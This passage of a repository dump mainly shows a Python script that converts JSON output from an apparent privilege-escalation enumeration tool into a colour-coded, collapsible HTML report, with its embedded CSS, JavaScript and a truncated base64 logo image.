\"HTML Path\")\r\n}\r\ncatch {\r\n    Write-Host \"Error: Please pass the peas.out file and the path to save the html\"\r\n    exit\r\n}\r\n\r\nmain\r\n"
  },
  {
    "path": "parsers/json2html.py",
    "content": "import json\nimport sys\nimport random\n\n\ndef parse_json(json_data : object) -> str:\n    \"\"\"Parse the given json adding it to the HTML file\"\"\"\n    \n    body = \"\"\n    i=1\n    for key, value in json_data.items():\n        body += \"\"\"\\t\\t<button type=\"button\" class=\"btn\" data-toggle=\"collapse\" data-target=\"#demo\"\"\"+ str(i) + \"\\\"><b>\" + key + \"\"\"</button></b><br>\\n\n        <div id=\"demo\"\"\"+ str(i)+ \"\"\"\\\" class=\"collapse\">\\n\"\"\"\n        i=i+1\n        for key1, value1 in value.items():\n            \n            if(type(value1)==list):\n                body+=parse_list(value1)\n            \n            if((type(value1)==dict)):\n                body+=parse_dict(value1)\n        body+=\"\\t\\t\\t</div>\\n\"\n    \n    return body\n\n\ndef parse_dict(json_dict: dict) -> str:\n    \"\"\"Parse the given dict from the given json adding it to the HTML file\"\"\"\n\n    dict_text=\"\"\n    for key, value in json_dict.items():\n        n=random.randint(0,999999)\n        infos = []\n        for info in value[\"infos\"]:\n            if info.startswith(\"http\"):\n                infos.append(f\"<a href='{info}'>{info}</a><br>\\n\")\n            else:\n                infos.append(str(info) + \"<br>\\n\")\n                \n        dict_text += f'\\t\\t<button type=\"button\" class=\"btn1\" data-toggle=\"collapse\" data-target=\"#lines{n}\">{key}</button><br>\\n'\n        dict_text += '<i>' + \"\".join(infos) + '</i>'\n        dict_text += f'<div id=\"lines{n}\" class=\"collapse1\">\\n'\n        \n        if value[\"lines\"]:\n            dict_text+=\"\\n\" + parse_list(value[\"lines\"]) + \"\\n\"\n\n        if value[\"sections\"]:\n            dict_text+=parse_dict(value[\"sections\"])\n            \n    return dict_text\n\n\ndef parse_list(json_list: list) -> str:\n    \"\"\"Parse the given list from the given json adding it to the HTML file\"\"\"\n    color_text=\"\"\n    color_class=\"\"\n\n    for i in json_list:\n        if \"═══\" not in i['clean_text']:\n            if(i['clean_text']):\n                color_text+= \"<div class = \\\"\"\n                text = str(i['clean_text'])\n                for color in i['colors']:\n                    if(color=='BLUE'):\n                        style = \"#0000FF\"\n                        color_class = \"blue\"\n                    if(color=='LIGHT_GREY'):\n                        style = \"#adadad\"\n                        color_class = \"light_grey\"\n                    if(color=='REDYELLOW'):\n                        style = \"#FF0000; background-color: #FFFF00;\"\n                        color_class = \"redyellow\"\n                    if(color=='RED'):\n                        style = \"#FF0000\"\n                        color_class = \"red\"\n                    if(color=='GREEN'):\n                        style = \"#008000\"\n                        color_class = \"green\"\n                    if(color=='MAGENTA'):\n                        style = \"#FF00FF\"\n                        color_class = \"magenta\"\n                    if(color=='YELLOW'):\n                        style = \"#FFFF00\"\n                        color_class = \"yellow\"\n                    if(color=='DARKGREY'):\n                        style = \"#A9A9A9\"\n                        color_class = \"darkgrey\"\n                    if(color=='CYAN'):\n                        style = \"#00FFFF\"\n                        color_class = \"cyan\"\n                    for replacement in i['colors'][color]:\n                        text=text.replace(replacement,\" <b style=\\\"color:\"+ style +\"\\\">\"+ replacement + \"</b>\")\n                        #class=\\\"\"+ color_class + \"\\\" \"+ \"\n                        if \"═╣\" in text:\n                            text=text.replace(\"═╣\",\"<li>\")\n                            text+=\"</li>\"\n                    color_text+=  \"\" + color_class + \" \" \n                color_text +=\"no_color\\\" >\"+ text + \"<br></div>\\n\"                \n    return color_text + \"\\t\\t\\t</div>\\n\"\n\n\ndef main():\n    with open(JSON_PATH) as JSON_file:\n        json_data = json.load(JSON_file)\n        html = HTML_HEADER\n        html += HTML_INIT_BODY\n        html += parse_json(json_data)\n        html += HTML_END\n    \n    with open(HTML_PATH, 'w') as f:\n        f.write(html)\n\n\n\nHTML_HEADER = \"\"\"\n<html>\n    <head>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css\">\n        <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"></script>\n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js\"></script>\n        <style>\n            .btn {\n            border-radius: 2px;\n            border: 2px solid #000000;\n            background-color: #33adff;\n            color: white;\n            padding: 8px 16px;\n            text-align: center;\n            text-decoration: none;\n            display: inline-block;\n            font-size: 16px;\n            margin: 8px 40%;\n            transition-duration: 0.4s;\n            cursor: pointer;\n            border-radius: 8px;\n            \n            }\n\n            .btn1 {\n            border-radius: 2px;\n            border: 2px solid #000000;\n            background-color: #33adff;\n            color: white;\n            padding: 4px 8px;\n            text-align: center;\n            text-decoration: none;\n            display: inline-block;\n            font-size: 16px;\n            margin: 8px 4px;\n            transition-duration: 0.4s;\n            cursor: pointer;\n            border-radius: 8px;\n            \n            }\n\n            .btn:hover {\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\n                background-color: #6fd1ff;\n                color: white;\n            }\n\n            .btn1:hover {\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\n                background-color: #6fd1ff;\n                color: white;\n            }\n\n            .collapse {\n                margin: 15px 8%;\n                padding: 8px 8px;\n                border: 1px solid #000000;\n                width: 80%;\n                background-color: #adebad;\n            }\n            \n            .collapse1 {\n                margin: 15px 8%;\n                padding: 8px 8px;\n                border: 2px solid #000000;\n                width: 80%;\n                background-color: #91ff96;\n            }\n\n            .peass_image{\n                display: block;\n\t\t\t\tmargin-left:30%;\n                margin-right:30%;\n\t\t\t\twidth: 30%;\n            }\n            \n            .div_redyellow{\n                \n                margin-left:35%;\n                margin-right:35%; \n            }\n\n            .btn_redyellow{\n                background-color: #FFFF00;\n                padding: 4px 8px;\n                border-radius: 8px;\n                color:#FF0000;\n                border:2px solid #FF0000;\n            }\n\n            .btn_redyellow:hover {\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\n                background-color: #FF0000;\n                border: 2px solid #FF0000;\n                color: #FFFF00;\n                transition-duration: 0.4s;\n            }\n            \n            .btn_red_redyellow{\n                background: #FFFF00;\n                padding: 4px 8px;\n                border-radius: 8px;\n                color:#FF0000;\n                border:2px solid #FF0000;\n            }\n\n            .btn_red_redyellow:hover {\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\n                background: #FF0000;\n                border: 2px solid #FF0000;\n                color: #FFFF00;\n                transition-duration: 0.4s;\n            }\n            \n            .btn_restore, .btn_show_all, .btn_hide_all{\n                margin-top: 3px;\n                border-radius: 2px;\n                padding: 4px 8px;\n                background-color: #00ff15;\n                border: 2px solid #06660e;\n                border-radius: 8px;\n            }\n\n            .btn_restore:hover, .btn_show_all:hover, .btn_hide_all:hover{\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\n                border: 2px solid #00ff15;\n                color: #00ff15;\n                transition-duration: 0.4s;\n                background: rgb(300, 300, 300);\n            }\n\n            body{\n                background-color: #91ff96\n            }\n\n        </style>\n    </head>\n\n\"\"\"\n\nHTML_END = \"\"\"\n        <script>\n            \n            $(document).ready(() => {\n                $('.btn_show_all').click(function() {\n                    show_all();\n                });\n                $('.btn_hide_all').click(function() {\n                    hide_all();\n                });\n                $('.btn_redyellow').click(function() {\n                    only_redyellow();\n                });\n                $('.btn_red_redyellow').click(function() {\n                    only_red_redyellow();\n                });\n                $('.btn_restore').click(function() {\n                    restore();\n                });\n            });\n            function show_all(){\n                $('.collapse').show();\n            }\n            function hide_all(){\n                $('.collapse').hide();\n            }\n            function only_redyellow(){\n                $('.red').hide();\n                $('.light_grey').hide();\n                $('.blue').hide();\n                $('.green').hide();\n                $('.magenta').hide();\n                $('.yellow').hide();\n                $('.darkgrey').hide();\n                $('.cyan').hide();\n                $('.no_color').hide();\n                $('.redyellow').show();\n            }\n\n            function only_red_redyellow(){\n\n                $('.light_grey').hide();\n                $('.blue').hide();\n                $('.green').hide();\n                $('.magenta').hide();\n                $('.yellow').hide();\n                $('.darkgrey').hide();\n                $('.cyan').hide();\n                $('.no_color').hide();\n                $('.red').show();\n                $('.redyellow').show();\n            }\n\n            function restore(){\n\n                $('.light_grey').show();\n                $('.blue').show();\n                $('.green').show();\n                $('.magenta').show();\n                $('.yellow').show();\n                $('.darkgrey').show();\n                $('.cyan').show();\n                $('.no_color').show();\n                $('.red').show();\n                $('.redyellow').show();\n            }\n        </script>\n    </body>\n</html>\"\"\"\n\nHTML_INIT_BODY = body = \"\"\"\n    <body>\n        <img src=\"data:image/png;base64,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